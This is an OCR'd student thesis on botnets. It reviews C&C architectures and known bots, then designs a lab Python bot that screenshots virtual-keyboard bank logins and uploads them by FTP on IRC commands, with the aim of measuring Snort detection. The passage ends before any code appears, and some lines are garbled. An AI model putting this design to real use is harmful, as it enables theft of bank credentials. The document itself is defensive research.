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Abstract

Botnets are networks of malware -infected machines that are controlled by an
adversary are the cause of a large number of problems on the internet[1]. They are
increasing faster than any other type of malware and have created a huge army of
hosts over the internet. By coordinating themselves, they are able to initiate attacks
of unprecedented scales[2]. An example of such a Botnet can be madein Python
code. This Botnet will be able to generate a simple attack which will steal screenshots
taken while the user is entering his confidential information on a bank website. The
aim of this project is firstly to detect and analyse this Botnet operatio n and secondly
to make statistics of the Intrusion Detection System detection rate.

Detecting malicious software in the system is generally made by an antivirus which

analyses a files signature and compares it to their own database in order to know if a

file is infected or not. Other kinds of detection tools such as Host-based IDS

(Intrusion Detection System) can be used: they trigger abnormal activity but in

Ul EOPUaOwUT T awliil Ol UEUI wOEQa wi EOUT wxOUDUDYI wl
to detect every process used by the system in real time, and another tool

?2%DOI PEUET I U? OWDUWEEOI wUOWET Ul ECWEOawOOEDI P
tools aim to recognize whether a program is acting suspiciously within the computer

and this activity should be logged by one of these security tools. However, results

from the first experiment revealed that the host -based detection remained unfeasible

using these tools because of the multiples of processes which are continuously

running inside the system causing many false positive errors.

On another hand, the network activity has been monitored in order to detect, using
an Intrusion Detection System, the next intrusion or activity of this Botnet on the
network. The experiment is going to test the IDS by increasing network activity, and
will include attacks to some background traffic generated at different speeds. The
aim is to see how the IDS will react to this increasing type of traffic. Results show
that the CPU utilisation of the IDS is increasing in function of the network speed. But
even if all the attacks have been successfully detected under 80Mb/s, 5% of the
packets have been dropped by the IDS andcould have contained some malicious
activity. This paper concludes that for this experimental setup which use s a 2.0 Gz
CPU, to have a secure network with 0% of packet drop by the IDS, the maximum
network activity should be of 30Mb/s. Further development in this project could be
to experiment with different CPU performances assessing how the IDS will react to
an increasing network activity and when it will start dropping packets. It would
allow companies to gauge which configuration is needed for their IDS to be totally
reliable with 0% dropped packets or semi-reliable with less than 2% dropped
packets.
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1 Introduction

1.1 Context

Botnets attacks are nowadays widely used in the internet and periodically make
headline news. Recently a Botnet has hit Amazon EC2 (a firm that allows users to
rent virtual computers to run their own appl ications on the cloud): security
researchers reported that hackers were able to compromise a site on EC2for the
infamous password -stealing Zeus banking Trojan. This site was used by Zeus for its
own C&C (command and control) server. Amazon EC2 which provide scalable
deployment of applications could be hit by many Botnets and make use of data
storage and application processing on the cloud in question[3]. In this context, the
first aim of this project is to produce a simple Botnet and implement it into a virtual
machine as the case of Amazon EC2. Then,he second aim will be to analyse the
interactions made by the Botnet within the virtual network and make statistics about
its rates of detection.

1.2 Background

The first Bot ? / Ul U U avdsEntidduced in 1999 on the Internet Relay Chat (IRC

[4]) designed for group communication in discussion forums , known as IRC

channels. ThisBot was created to help the administrator of a channel to keep it open

andtox Ul YI OUWOEOPEDPOUUWUUI UUwi erétpratkE @D OO IBIY E W
the creation of operator status to give graduate privilege for special users. This Bot

looked like a user inside the channel and could answer to certain requests, such as

creating statistics, hosting games or sharing filed5]. But the major function of

PrettyPark was to allow an administr ator (known as Botmaster) to remotely control

a large pool of computers using IRC channels.

The idea became popular in the cybercrime community and over the years Bots
have been improved and dedicated to cyber-attacks. Nowadays, Botsare usually
xEUOwWOI wEwOI UPOUOwW Oi whOI | Botoet?EBotdeks e dévi UOw 00
sophisticated and can perform powerful attacks due to the amount of zombie
computers (Bots) on the internet. Managed by the Botmaster, they conduct
distributed denial -of-service (DDoS) attacks, email spamming, keylogging, abusing
online advertisements, spreading new malware, etc. Today, the Botnet population is
growing rapidly and they represent some computer armies and have become a huge
threat on the Internet. The current generation of Botnets spread in the network s like
worms through the exploit ation of common Microsoft W indows vulnerabilities or
backdoors left by previous worms. They hide themselves inside the system like a
virus and can launch attacks ceordinated by the Botmaster. The last generation of

Benoit Jacobt BEng (Hons) Computer Networks & Distributed Systems 11
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Botnets are famous in the file sharing platforms, P2P (Peerto-Peer) networks, and
more difficult to trace: there is no longer channels between a group of Bots, but hosts
connected to each other, commanded by theBotmaster that only need to connect to
one of the peer to broadcast his commands.

1.3 Aim and objectives

The aim of this project is to create an experimental Botnet in order to analyze its
activity by using different security tools. To accomplish this overall aim, five
intermediary obje ctives will follow the achievement of this project gradually :

1 Create a literature review on Botnets and related threats.

1 Analyse recent Botnets, their associated attacks, behaviour, data remnants and
impact on the society.

1 Design of an agent which mimics the behaviour of a Botnet, and associated
detection/evaluation tools.

1 Implementation of test/evaluation tools for the detection and analysis of Botnet
activity.

1 Evaluation of success rate of detection.

1.4 Thesis structure

Chapter 1 ¢ Introduction : Provides background information on the subject. Aims
and objectives are definedwhich will be the key vector of this project.

Chapter 2 - Literature review : Review the current research onBotnets by explaining
the Botnet taxonomy covered in 6 Sections: C&C architecture, trigger events,
communication protocols, rallying mechanism, attacks and behaviours . Moreover,
an analyse of three Botnets follows in order to under how Botnets interacts on the
field.

Chapter 3 ¢ Design: Draft the project by describing the Botnet functionality and the
different tools used to analyse its activity. The designs of two experiments to detect
the Botnet are made on the host-based side and on the network-based side.

Chapter 4 ¢+ Implementation : By creating a network of three Virtual Mac hines
(Botnet, Botmaster and IDS) the experiment described in the design is implemented
and results are logged in order to be used in the result chapter.

Chapter 5 + Results: The results of the whole experiment are displayed and a
reflexion is made to understand the consequences thatengender them. Tools are
evaluated in function of their good working order within the experiments.

Chapter 6 ¢+ Conclusion: Concludes this project by listing the initial aims and the
work done for each single one. A self-appraisement Section shows the troubles

Benoit Jacobt BEng (Hons) Computer Networks & Distributed Systems
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encounter during this project and afterthought of working mode for the next
projects. Finally, some directions are given for some future work.
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2 Literature Review

2.1 Introduction

The literature review provides Botnet taxonomy so that a Botnet can be designed
successfully along the project. The Botnet taxonomy is an important part of the

project, as every aspects of a Botnet needs to be understood before the
design/implementation can take place. So on, the literature review covers Six
categories: Command and Control (C&C models), trigger events, communication

protocols, rally mechanisms, attacks and behaviours. The review then focus on an up
to date investigation about three different Botnets, to understand how Botnets have
been deployed and identify which type of attacks they are using. Using this

knowledge will be useful in the second part to design the experimental Botnet.

2.2 Command and Control Architecture

A Command and Control (C&C) system is set-up by the Botmaster to communicate
with his Bots indirectly because it does not want its identity to be revealed and want
to hide the command sent. In order to explore the C&C architecture, three topologies
will be reviewed . Michael Bailey [6] summarized the different type s of topologies as
in Table 1.

Table 1+ Command and Control Topologies [6]

Topology Design Delectability Message Survivability
Complexity Latency

Centralized Low Medium Low Low

Peer-to-Peer Medium Low Medium Medium

Unstructured Low High High High

2.2.1 Centralized C&C servers

Botnets with the centralized architecture provide a simple, low -latency, anonymous
and efficient real-time communication platform for the Botmaster [2]. Most of the
latest large-scale Botnet attacks detected usethis architecture (see Figure 1) This
structure interconnects Bots to a central point that forwards IRC or HTTP messages
between clients. This Botmaster used this central point to pass messages to hiBots.
This architecture has a low latency in reason of the direct communication from the
Bots to the C&C server, which are directly connected. However, this structure has
two weaknessesfrom the Botmaster point of view, as each single host send messages

Benoit Jacobt BEng (Hons) Computer Networks & Distributed Systems 14
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to the same C&C server which can be easily triggeredby a defender. Moreover, if the
C&C server goes down, every Bots cannot receive messages anyiore and the whole
systemis compromised.

Attacker Attacker

C&C Web
Server

C&C IRC
Server

Command and
control
(80 Web port)

Command and
control

IRC protocol
( P ) Bots <

sots { &

Figure 1 - Centralized C&C servers

2.2.2 P2P-based C&C server:

The Peerto-Peer (P2P) has become popular in recent yeas. Millions of users are
daily sharing programs, movies and games. The first P2P-based C&C server has
been implemented in 2002 with the Bot Slapper [5]. However, the architecture has
been modified many times during the past few year and a new architecture has
emerged recently which uses a hybrid P2P Botnet [8]. Each Bot has a private fixed
limited size list of seeds that it does not share with the others (Figure 2). It means
that once a host re®ive a message, it will forward this message to its private list of
seeds.This method exposes only few Bots when one of them is captured. Each host
periodically connects to his neighbour to retrieve orders from the Botmaster. The
Botmaster only need to connect to one of the Bots (peer) to send his commands al
over the network. This type of architecture is more robust than the centralized
structure and much harder to shutdown. However, the design of P2P architecture is
more complex and a medium latency is observed in reason of the number of hops
from Botsto the C&C server.

Benoit Jacobt BEng (Hons) Computer Networks & Distributed Systems
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Botmaster

P2pP
Botnet

Figure 2 - Hybrid P2P Botnet [7]

2.2.3 Unstructured C&C server

Another kind of commu nication has been discovered recently using unstructured
C&C server [9]. By using a P2P based communicationwithout seeds list, each Bot
has the ability to scan the internet in order to find another Bot. The Botmaster first
encrypts his message and then scas the internet to find one of his Bots to pass the
message along. This Bot will do the same thing by scanning and forwarding the

message. Using this architecture is really simple and secure because discogring one
host will not compromise any other host. However, a low latency can be observed
due to the time of scanning the internet and finding other hosts.

2.3 Trigger events

A number of different trigger events are able to start the malware. These triggers
make the detection harder because the malware will be completely hidden before its
starts and it will make the success of attack higher.The first type of trigger uses on

Benoit Jacobt BEng (Hons) Computer Networks & Distributed Systems
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specific dated10] to activate itself. %O U wil B E Ox O] O w REDMhiCatiabkag U w# E a
launched: hundreds of eeOEDPOUw PBDUT wUUEN]I ECwODOI UwEU W ? %E
containing a romantic message inside and a link to a website. This website allowed

downloads of 12 heart images contairing a malicious program inside.

The second type of trigger works in accordance to time[11]. Another type of trigger

is in function of the time: a malware can start to install itself at night and utilize

many of the computer resources whilst the user is away or sleeping. A third type of
trigger uses Windows application processes torecord, using a keylogger (which
saves the keystrokes) specific applications[12]. Finally, other events can be triggered
according to specific websites. For example, on a bank website, the malware will log
the keystrokes and take a screenshot of each click to trace the account nmber and
pin of the unsuspecting victim.

2.4 Communication protocol

The communication protocol listed above will sort various communication
techniques [13] within the Botnet. Bots generally use an IRC protocol to
communicate with each other. However, the Hypertext Transfer Protocol (HTTP) is
also famous in reason of the facility to hide it inside web traffic . There are also some
new protocols such as Instant Messaging (IM) and P2P, which are used for smaller
Bot networks.

On IRC, all the Bots join a specific private channel protected by a password on IRC.
Some of theseBots are using a SSkencrypted communication. Bots interpret the
messaes sent by theBotmaster on this channel (if they need to update, attack, etc).
Most corporate networks do not allow any IRC traffic for a better security. This way,
if an Intrusion Detection System (IDS) discovers any IRC request it will result in:

1 An Outbound IRC request means that a computer on the network is infected and
used as a C&C server.

1 An Inbound IRC request means that the C&C server is recruiting a computer on
the network.

Firewalls can be configured to block any IRC traffic. However, Bots are now using
IRC traffic tunnelled in HTTP protocol to communicate with the C&C server for two
reasons: They are easily hidden inside the huge amount of HTTP traffic and they
bypass the firewall rules which generally block a majority of ports except the 80 for
HTTP traffic. Other types of communication consist of hiding instructions inside an
HTTP request or within Domain Name System (DNS) records. These instructions
can also be hidden in images to make the detection harder.

Latest improvement s in the communication protocols use Instant Messaging (as
Skype or MSN) and encrypted P2P protocols (named WASTE) for communication

Benoit Jacobt BEng (Hons) Computer Networks & Distributed Systems 17
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and file transferred between a small numbers of trusted parties. These protocols are
not common yet but they will probably emerge in the future and make Botnet
detection harder in reason of the big amount of communication going on everyday

in Instant Messaging application .

2.5 Rallying mechanism

Different rallying mechanisms [13] are used by Botnets to rally new Bots to the C&C
server in order to retrieve message from the Botmaster. The main methods include
hard-coded IP address, Dynamic DN SDomain name, and Distributed DNS Service.

2.5.1 Hard-coded IP

Some Bots can communicate with the C&C server using a Hard-coded IP which
means that the IP of the C&C server is hard-coded into the binary of the Botnet[14].
This technique is not very popular because once a Bot is trapped and has been
analysed, the address of the C&C server can be easily found and shutdown . Once
the C&C server is disabled, Bots belonging to this server becomes useless bcause
they cannot receive any more orders from the Botmaster.

2.5.2 Dynamic DNS Domain Name

The Dynamic DNS Domain Name uses a hard-coded domain name assigned by
dynamic DNS provider, which allows the Botmaster to relocate his Botnet easily. If
the connection fails, the Bot sends a DNS query to receive the newdomain name of
the C&C server. So on, theBot does not depend anymore from the C&C server, this
one can go down and a new C&C server will be assigned to that Bot. A few websites
2a0UUOEOI 6 EaOEUJ Edyramicul © Ehisikaoiel DT OwE

2.5.3 Distributed DNS Service

Another method is to use a Distributed DNS Service. This service is the most
sophisticated and is implemented in the newest Bots. Botnets run their own DNS
server in specific locations where authorities cannot reach them (because the law in
these places is not up to date inthe internet security domain ). The Bot contacts its
own DNS server to retrieve the IP of the C&C server. These DNS servers use &igh
port to communicate which makes them difficult to be detected by security devices.
They are actually the hardest to detect and destroy.

2.6 Attacks

Bots have alarge scale of different attacks availablg[16] that a Botmaster can use as
he wishes. Attacks can be targeted in many ways: they can beinvisible to a basic
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user (e.g., for an identity fraud) or can slow d own the system and crash it (e.g.,
DDoS Attacks). Examples are:

1. DDoS Attacks - This is a common attack used by Botnets to overflow a server.
Using a large number of computer sending TCP SYN and UDP messages in
repetition, it can rapidly overload the bandw idth of the targeted network and
sometime shut it down.

2. Spamming - Large quantities of email are sent in mass With the help of
thousands Bots, attackers can send a massive amount of spam emailsusing
random list of emails found on internet . Some Bots also implement a special
function to harvest email -addresses. Often that spam you are receiving was sent
from a friend.

3. Sniffing - Bots can harvest the data that a user is typing. Sniffing is used as a
keylogger and can retrieve username/passwords and other interesting
information. Sometimes, more than one Botnet compromises a specific host In
that case,they steal information from each other.

4. Click fraud - Botnet can be used to gain financial advantages. By installing
advertisements on a fake website and making a deal with companies that pay per
click on ads. Once the website is setup, theBotmaster will ask to all of his Bots to
go clicking on these ads. This will generate thousands of clicks from everywhere
and a financial gain for the Botmaster. This technique is today a bit primitive
because companies can detect this big amount of clicls at the same time. Thus,a
few features have beenadded to make infected computers click on the ads, for
example, every time they start the web browser.

5. Identity Fraud - This techique is also called Phishing. Bots can host multiple

fake websites pretending to be EBay, PayPal, or a bank, and harvest personal

information. Usually the name change of one letter to creates subtle confusion
(between paypal.com and paypol.com). Some Bots are able to redirect some
specific flux DNS which makes detection harder: Entering paypal.com will
redirect you to a fake paypal.com but with exactly the same name.

2.7 Behaviour analysis

The detection of Botnets in a nework can be categorized through three different
types of behaviour: network -based host-basedand global correlated. Understanding
these behaviours [17][18] [19] is important to prevent, protect and detect Botnet
intrusion in side the network.

2.7.1 Network-based behaviours

Network -based behaviours analyse the network traffic. Botmasters need to
communicate with their Bots across the netwok. Most of the Bots are using dynamic
DNS query to find their C&C server because it is the most secure protocol. Botnets
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can use IRC or HTTP to communicate. Filtering some specific information on these
networks can help to find some compromised hosts: Most Enterprise generally
banned IRC traffic because it is a high risk to be contaminated by malware.
Therefore, if any traffic is using the IRC port, it can reveal the presence of Bots. To
prevent the detection of the C&C server, Bots often changeDNS server. Filtering the
DNS traffic can be used to find hosts who keep changing of DNS name server.
Another method is by looking at the name of the DNS used by Botnets that can
sometimes be distinguished by an unusual name (e.g. milk.dyndns.com).

2.7.2 Host-based behaviours

Behaviours can also be directly triggered within the infected machine (method called
Host-based behaviour). Once aBot is running on a host, it compromises software
activity (e.g., shutdown of the AV or preventing the user from navigating on a
specific server). To do that, Bots are using a system/library call which can modify the
register and create/delete networks or programs. Trained specialists with security
knowledge can detect Botnets Individuals with this knowledge can identify areas
where there is a high probability of infection, e.g., if one of the hosts in the network
has trouble updating its virus definition.

2.7.3 Global correlated behaviours

Global characteristics are tied to the fundamentals Botnet and can be used for an
efficient d etection. These characteristics are not going to changeaunless the Botnet is
completely re-designed and implemented. For example, a famous behaviour is
known when a C&C server shutdown: every Bot is going to be disconnected and
contact the DNS server in order to retrieve a new C&C server address. Therefore, an
increase of the DNS queries can be discoveed on the network which raises alarm of
Intrusion Detection Tools.

2.8 Analysis of three Bots

The following contains the three most popular Bots on the Internet used to
compromise computers [20].

2.8.1 Zeus

With 3.6 million compromised hosts, Zeus is the most popular Bot. It can steal any
information stored on computer victims. It is written in C++. The lates t version of
Zeus (on September 2009) uses an encrypted configuration file using one uniquekey
[21]. The key is encrypted in RC4 (254 bytes long) and stored inside theBotz U
executable file which makes the configuration file difficult to decrypt. A feature of
self-destruction, usually used in banking Trojan, is implemented. The Botnet can
self-destruct, once the main private information was collected. But this self-

Benoit Jacobt BEng (Hons) Computer Networks & Distributed Systems 20



08009764

destruction can also be used to overwrite the virtual memory of Windows with zeros
and makes the operating system inoperable. Last April, an estimated 100,000 PCs
infected by Zeus, apparently destroyed itself[22]. Today, multiple versions of Zeus
are on the market. Zeus is a commercial product: an up to date version are sold for
around £600 and after few months this version is distributed for free [23]. The Zeus
distribution is spread by spamming and by a large number of social engineering
tricks. Once a computer is infected, the installation of Zeus goes through a number
of different steps which can change according to the function of the version. Figure 3
shows the web interface used by Zeus to contol zombies: It is possible to display the
Bots list, have access to each singl®ot, add new scripts, see the passwords captured,
the system options and many more. Controlling an army of thousands of Bots is no
more complicated, the web interface is really easy and intuitive, making it possible
for almost anyone to use.

CP i Summary statistics

Information:
. " drmi Infurmatiun
urrent user: admin )
&MT date: 05.10,2009 Total reparts in databasze: 437
GMT time: 21:47:49 Tirne of first activity: 23,09,2009 22:27:35
Statistics: Total bots: 5
Total active baots in 24 hours: 20,00% - 1
— Surnrnary . )
Minimal version of bot: 1.2.4,2
e Maxirnal version of bot: 1.2.4.2
Botnet:
Scripts LYt B Reset Installs
Reports:
. Tirne of first ackivity: 23,09,2009 22:27:35
Search in database Tatal bote: 5
Search in files Total active bots in 24 haurs: 20,00% - 1
System: Minirnal version of bot: 1,2.4.2
Tefemmetien Maxirnal version of bot: 1.2.4.2
Options Installs (3) Online (1)
User -- all-- 1

Users

Logout

Figure 3 - Zeus Control Index [23]

2.8.2 KOOBFACE

This Bot compromises 2.9 million computers in the US. This malP EUT 7 UWOED OWE b (
to spread via 10 visual social networking sites such as Twitter, MySpace and
predominately, Facebook. Social networking sites are used by people to
communicate and share personal data with each other. It has also become a gold

mine for the advertising industry: Facebook sharescertain confidential information

from its users to assist advertising industry to target their audience. The worm

KOOBFACE is composed of multiples of different malwares with particular
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functions. The first one is KOOBFACE downloader that spread itself via a fake

YouTube. Users are invited to install infected codec to see the related video. Once

the computer is infected [24] it starts looking for cookies related to social networking

sites. If the worm finds the appropriate security cookie, it creates a link to the

PDOI 1 EUI EwYPET OwbOwUT I wY D E Gobo@ingU [@5¢. KGOBEACE wU O w U L
downloader also contacts KOOBFACE C&C server in order to retrieve the following

malwares [26].

A social network propagation component is the malware responsible to write

messages on the profile, send mails and IM to the friends list of unlucky users with

links to fake videos. A Web server component causes the infected computer to
become a Web server that acts as a proxy or relay server to distributeKOOBFACE
components. An ads pusher infect windows registry and automatically open new
browser windows integrating some ads. A data stealer that steals Windows product
IDs, internet profiles, emails credentials, FTP credentials and IM application
credentials. The collected stolen information is then sent to the C&C server. The
number of modules implemented in KOOBFACE is increasing everyday which

allow the Botnet to generate new attacks. KOOBFACE has understood how visual
networking sites work and how people use them. This Bot was spread on the
internet in 2008 and is continuously growing due to the inflation of visual

networking sites.

2.8.3 Torpig

On the 4th May | YYNOwE w! O Doiplg & radeied & lotEbipablicity, making
headline news [27][28] [1] with the discovery of a huge network zombie containing
70GB of stolen credit card and passwords, according tothe research team from the
University of California at Santa Barbara. In 10 days, the boot was running on
180,000 infected hosts and had the ability to use 1.2 million IP address. With around
300,000 stolen passwords from 410 different financial institutions and money
services like PayPal this zombie network is one of the worl d most famous.

Torpig is distributed through Mebroot, a rootkit UT EQwUIl PUDPUIT UwUT T wi EUI
record during the start -up. Using this technique makes the malware undetectable by
AV because it is executed before the loading of any security software. Figure 4
shows the different steps of installing Torpig. Once Mebroot is installed (4), the
infected host contacts the mebroot C&C server (5) to obtain malicious codes. These
codes are encrypted and saved inside the system32 directory under the names of
existing files in this directory but with a different extension, to avoid suspicion.
Every 20 minutes, Torpig will update the key logger data on a Torpig C&C server (6).
Some Phishing attacks will also take place to collect personal information (7). Once
the malware is installed, it starts collecting multiples of credential information
coming from almost 30 software and web based applications using a keylogger. An
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interesting specification of this malware is that it is running at a low level which
means that it can intercept every password before their encryption by secure sockets.

Vulnerable web server enack
S drive-by-download server Mebroot C&C server
i | e Ty
554 ) 4. | P |
’ S_<iframe> [ 1\ /Tr ia DLLs
\\ / / Torpi
‘ > GET /?gnhSJ 48V ahea
| @) ' 4
(1“) \ (4) gnh5.exe S y .‘.‘.A..‘ ''''''''''''''' K
4 _ ) o & V& Stolen data {+] Torpig C&C server .’
GET /\_ g o /& e ter—t=r=n |
N - = = = = === > —— . S a e s s e e s ’
(becomes a bot) . Config
Victim client . Wy S o
s )T
i —
Phishing HTML Injection server

Figure 4 - Torpig network inf rastructure [1]

2.9 Conclusion

The Botnet phenomenon presents several new challenges fo the Internet
community. This Section defines the taxonomy of Botnets, for better understanding
of their behaviours wh ich is essential to identify and detect the significant rise of
Botnet activity. By keeping in mind that Botnets are moving targets, all aspects from
communication protocols, trigger mechanisms, attacks to rallying mechanism are
constantly evolving and giv e a hard task for network defenders.

The different parts of the literature review are going to be used for developing an
experimental Botnet. A C&C server, reviewed in Section 2.2, will be implemented in

order to allow the Botmaster to correspond with the Bot using one of the
communication protocols seenin Section 2.4. Exploiting atrigger event, displayed in

Section 2.3,should allow the Botnet to start an attack at a specific moment. A few
attacks, seen along the Section 2.6 and in the Botnets analyse irsection 2.8,can be
implemented inside the experimental Botnet to make it harvest data or spam emails.
Thus, a reflection must be done in the design section in order to choose a specific
attack adapted to this project.

Once the Botnetis running, the second stage of the project is to detect itsactivity and
record statistics about its detection rate. This can be done by using host-based and
network -based analysis, as seen in Section 2.7 The vital point of this project is to
keep the Botnet inside a secue environment. Due to this, some security tools need to

be implemented inside a Virtual Machine and inside the Virtual Network to detect
the Botnet activity.
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3 Design

3.1 Introduction

37 1 wx U@ Is foleealeun scriptthat is able to mimic a malicious Botnet. The
host and network activity of this Botnet will be then monitored and analysed. Now
that the literature review is written and the basics concepts of Botnets are
understood, the project has started to take shape.

The choice of anadapted programming language is important for the creation of the
Botnet. After some research on the subjecttwo main languages were highlighted in
this project: C #.NET and Python. C #.NET language requires some background
knowledge and there was limited information on how to make a Botnet in C#
available online. The Python language is reputed to be an easier scripting language
and after some research, the use of the Python library should enable the creation of a
Bot without great difficulty . The programming language was therefore decided:
Python will be used in this project.

Section 3.2 provides a scenario of the Botnet working mode and describes which
modes of attack the experimental Bot will use. The architecture of the C&C server,
defined in Section 33, will allow the communication between Bot and Botmaster.
Furthermore, some diagrams UML represents the Bot activity by initially taking
screenshots of personal information and then subsequently sending these
screenshots on a distant FTP server. Sectior8.4 will provide an overview of the
detection phase which will be organised in two parts: host -based detection and
network -based detection. Finally, two experiments of this project appear in Section
3.5 in order to evaluate the Botnet detection rate.

3.2 Scenario

The requirements needed by the Botnet are the followings:

i Creation of a centralized C&C server in order to establish communication
between the Bot and the Botmaster.

1 Trigger of an event which will start an attack and steal data.

9 Transfer the stolen data on a distant server.

The stolen data will be a screenshot of the infected host while with some personal
user information as usernames and passwords. This operation can be easily achieved
using a keylogger, which log s every keystroke typed by a user. So in order to make
this experiment more realistic and up to date, the following scenario will be used:
Today, numbers of bank websites are using virtual keyboards to avoid malicious
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programs of recording keystrokes. These virtual keyboards requir e that the login
must be typed using keystrokes and appear clearly. However password s need to be
clicked using the virtual keyboard and appear encrypted. This way, taking a single
screenshot will not help the identification of the user passwor d. Therefore, the
Botnet aim will be to take multiple screenshots each time a click is detected, in order
to retrieve the number the users have clicked in order to reveal their passwords.

Figure 5 shows an example of a basc virtual keyboard. Each time the page is
refreshed the numbers are shuffled and placed in a different order.

Account number

Login require
keystrokes

Ll \
(0 | B | )
Pa rd 8 [([O0 | |
L] |16 |[ 1
21 Password
require
clicks

Figure 5 - Virtual Keyboard

3.3 Botnet Overview

The Bot will bypass this new security technique by taking screenshot s of the virtual

keyboard while the user is entering his account number and password. To ensure
that the Bot is accessible from anywhere, it will join a private IRC channel and wait

for orders from his Botmaster, as seen in Figure6. The Botmaster will only need a
computer with IRC to access the channel. In order to make this channel secure and
only accessible by the Botmaster, the channel will require a password. Once
connected, the Botmaster will be able to see a list of all the connectedBots, giving

him the possibility to send commands to any specific Bot or to all of them.

Figure 6¢ Botmaster communications

[Send password to connect to the private channel] {Botnet 1

[Authentication accepted]
[Send command to a specific Botnet]
—\ ~/ .
Botmaste_r) /L ate channel
[Send a broadcast command] Botnet 3

Botnet 2
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3.3.1 Screenshot module

In order to take screenshots of users while entering their password , the first problem

was to recognise that a user is going to log into the webpage of a bank. A trap is thus
created: once connected on the private channel, theBotmaster can send alscreenshot
command to any of his Bots (Figure 7). This command prompt Internet Explorer to

open awindow and make the script trigger every URL typed in, until a know n URL

of the bank website is found. This experiment will, of course, use a personal website
during the simula tion. Once the Botnet recognises a bank website typed into the

URL, the Botnet will secretly trigger the next six clicks of the user. These clicks
should be, for the first one, the selection of the account field and then for the next
five clicks, the password numbers selection on the virtual keyboard. These

screenshots will be saved on theBot hard drive. Some messages will be sent from the
Botnet to the IRC channel, to let the Botmaster know when it has started taking

screenshot and when they are available.

BotMaster IRC Channel Botnet

Send (!screenshot)

Send (!screenshot)

Open Internet Explorer + wait
for specific website
Trigger next 6 clicks and
take screenshots

Savefiles on hard drive

Send msg (Screenshots in progress)

1____________‘[__.

U D AN

Send msg (Screenshots ready for upload) !

A"

Figure 7 - UML Diagram of screenshot module calls

3.3.2 FTP module

Once the screenshot command is sentsix files are created on theBot hard drive as a
result of the triggered clicks. These screenshots give the opportunity to see where the
mouse cursor is on the virtual keyboard which helps to determine the password.
However, another problem appears: it would be too long and too dangerous for the
Botmaster to retrieve screenshos from every single machine. To solve this loss of
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time, a FTP will be used to transfer the screenshots: theBotmaster, by typing the
command !upload, will be able to tell the Bot that it needs to establish a connection
to a private FTP server and transfer the stolen data (Figure 8). Thereby the Botmaster
has the possibility to connect to the FTP server from anywhere at any time to retrieve
the stolen data and look for stolen passwords. The Botnet will send messages to the
IRC channel once it successfully connects to the FTP server and once the files have
been uploaded.

n
—
o

Botmaster IRC Channel Botnet

Send(lupload)

Send(lupload)

Send(request for connexion)

) 4

Send(connection successful)

Transfer started

Transfer successful

R

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|
e

Figure 8 - UML Diagram of FTP module calls

3.4 Detection overview

The Bot activity is going to be split in two parts in order to achieve a detection of the
network activity on one sideand host activity on the other side (Figure 8).

3.4.1 Network activity

The Bot produces two kind s of network activity: IRC (ensure communication with
the Botmaster) and FTP (transfer the stolen data).The network activity is going to be
captured using Wireshark, a network protocol analyzer widely used in the industry.
The whole activity of the Botnet will then be studied in order to determine which
specific packets area part of the communicati on protocol, and part of the transfer
protocol. These packets will then be used by an Intrusion Detection System (IDS) to
raise an alarm. This IDS named Snort is able to detect attacks and raise alarms if
something acts against its rules. Therefore, these rules will be configured to detect
the Botnet activity within the network .
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Botin a virtual
environnement

Network activity

™~ - I

Communlc?tlon Transfert protocol .
protocol Process activity Files activity

Analise IRC traffic Analyse FTP traffic

using Wireshark using Wireshark fLoCeSSMONIlor Al ez
N -
S - ™
Create a Snort rule Create a Snort rule
to detect malicious to detect malicious
IRC traffic o FTP traffic

Figure 91t Hierarchy of the Botnet activity

3.4.2 Host activity

The host activity will be examined using the software programmes, Process Monitor
and File Watcher. Process monitor is an advanced monitoring tool for Windows that
shows real-time file system, registry and process/thread activity. The starting and
stopping of the processes use timestamp which will help to determine processes
used once theBot is running and reveal what operation is it doing. A file watcher
will track each file created and deleted during the Botnet cycle.

3.5 Experimental design and test

3.5.1 Functionality testing

To ensure the good working order of the Botnet, the attacks can be checked on the
Bot host. The first function which detects specific websites, triggers clicks, takes

screenshot and saves them on the hard drive and will ensure that these screenshots
appear in a specific folder. When the path is known the files are accessibleand the

virtual keyboard reveals the position of the cursor. The second function is the FTP
script which uploads stolen screenshos onto a FTP server. To ensure that this
function is working properly, a manual connection on the FTP server should show

the uploaded screenshot.
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However, another way to check if the Botnet is functioning correctly is by sending
(as aBotmaster) the commands !screenshot and !upload . If the operations have been
carrying successfully, the Botnet will let its Botmaster know by sending messages on
the IRC channel. Once these tests ae successfully done, the Botnet operations will

have proved its good working order.

3.5.2 Experiment 1: Botnet detection

The Botnet is going to be installed inside a Blackbox. A Blackbox is a Virtual
Machine equipped with numerous sensors which are able to detect malicious
activity. The tools seen in Section 3.5, will detect the process activity of the Bot as
when an Internet Explorer window pops-up and the Filewatcher trigger s the saving
of images onto the hard drive. Then, by analysing the network activity using
Wireshark, appropriate rules will be created for Snort which should then raise an
alarm when the Bot is sending messages to the C&C server.

3.5.3 Experiment 2: IDS evaluation

The semnd experiment aim to know when the IDS is efficient in function of the
network traffic. To make the test as real as possible, attacks will be merged in some
random traffic, free of attacks, retrieve from the Massachusetts Institute of
Technology [29]. The IDS tool (Snort) is going to show if the attacks have been
detected and alarms rose properly. The resources used by the IDS during the
experiment, as CPU and memory utilisation, will be logged using the software
Performance Monitor to see until which network intensity the IDS is stable. Traffic
will be sent at different speed to measure the impact from small-scale network to
large-scale network.

3.6 Conclusion

This chapter provide s the design of the Bot which is going to be implemented in the
next part. Using two modules, the Bot will be able to take screenshots while the user
is entering his personal information into a bank website and then uploads these
screenshots oo a FTP server, which will allow the Botmaster to retrieve them.
Therefore, this experiment can be divided into two parts: the harvest of data by
taking screenshots will interact on the host only and the transfer of data to the FTP
server on the network only. The detection part will then firstly use host-basedtools
to detect the processesiile s activity used by the Bot and secondly use network -based
tools to inspect the traffic and raise an alarm the next time an attack occurs.

The first experiment aims to detect the Bot: using a Filewatcher and Process monitor
should reveal all the operations made by the Bot inside the operating system, then,
using a network analyser to determine the exchange of messages between Bot and
C&C server, should help to determine which rules to write f or an IDS. This IDS, once
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effective rules have been implemented, will raise an alert every time communication
from the Bot to the C&C server is detected. The second experiment aims to test the
IDS with an increasing amount of traffic in order to ascertan when it starts dropping
packets and becomes inefficient .
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4 Implementation

4.1 Introduction

The design of an experimental Botnet and associated evaluation/detection tools have
been described in the previous chapter. This chapter shows the Botne
implementation inside a Virtual Network , defined in Section 4.2 Specification of the
Virtual Machines as software used and hardware configuration will give an
overview of the Network structure. In Section 4.3 , some code snippets of major parts
of the Botnet explain how the Botnet has been coded in order to correspond to the
design section. Detection tools, seen in Section 4.4, implement the Filewatcher and
ProcessMonitor in order to trigger the Bot activity inside the host. In Section 4.5,
